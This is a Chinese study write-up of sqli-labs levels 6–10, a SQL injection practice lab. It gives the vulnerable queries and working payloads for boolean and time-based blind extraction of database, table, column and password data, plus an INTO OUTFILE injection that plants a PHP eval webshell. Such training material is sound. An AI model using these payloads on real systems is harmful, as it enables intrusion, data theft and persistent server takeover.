重闯Sqli-labs关卡第三天(6-10关)

第六关(双注入GET双引号字符型注)

核心代码:

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

根第五关类似

第七关(导出文件GET字符型注入)

核心代码

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

不返回mysql错误

检测secure_file_prive是否为null 是null则不能写入
SHOW VARIABLES LIKE “secure_file_priv”;
secure_file_priv =空才行

payload:

id=1')) and 1=1--+
id=1')) and 1=2--+
#写入一句话webshell
id=1'))UNION SELECT 1,"<?php @eval($_POST['X']);?>",3 into outfile "C:\phpStudy\PHPTutorial\WWW\lou\sql\Less-7\muma.php"--+

参考学习:https://blog.csdn.net/Jiajiajiang_/article/details/86226884

第八关(布尔型单引号GET盲注)

payload：

判断数据库长度
' and length(database())=8--+
爆数据库名
' and left((select database()),1)='s'--+
判断数据库中表的数量
' and if((select count(*) from information_schema.tables where table_schema=database())>1,sleep(5),1)--+
' and (select count(*) from information_schema.tables where table_schema=database())>1 --+
爆表名
' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
判断字段数量
' and (select count(*) from information_schema.columns where table_name='users')>1--+
爆字段名
' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),1)='f'--+
爆数据
' and left((select password from users limit 0,1),1)='D' --+

第九关(基于时间的GET单引号盲注)

payload:

' and if(length(database())=8,sleep(3),1)--+
' and if(left(database(),1)='s',sleep(3),1)--+
' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(3),1)--+
' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(3),1)--+
' and if(left((select password from users limit 0,1),1)='D',sleep(3),1) --+

第十关(基于时间的双引号盲注)

payload:

" and if(length(database())=8,sleep(3),1)--+
" and if(left(database(),1)='s',sleep(3),1)--+
" and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(3),1)--+
" and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(3),1)--+
" and if(left((select password from users limit 0,1),1)='D',sleep(3),1)--+

11111

1

11111

1